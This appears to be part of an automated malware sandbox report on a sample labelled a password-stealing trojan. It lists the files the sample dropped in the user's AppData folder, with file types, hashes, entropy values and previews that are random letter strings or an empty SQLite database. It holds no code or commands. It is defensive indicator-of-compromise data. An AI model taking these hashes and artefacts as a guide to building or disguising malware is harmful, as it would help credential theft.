Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\Users\user\AppData\LocalLow\3YVS216A615e

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\LocalLow\5HT1gk6u4uh5

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\Users\user\AppData\LocalLow\64SgXtE9PDJF

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\LocalLow\6661D189fbW2

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\LocalLow\66Q83l9gmckF

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\LocalLow\6dk9H852z7FG

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\LocalLow\6yoG2luT9rxT

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\LocalLow\7DeRL7M12c61

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\7ZA5z7etPpE4

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\LocalLow\8NE634n4fz6U

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\LocalLow\8Ycrxy4m59a9

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
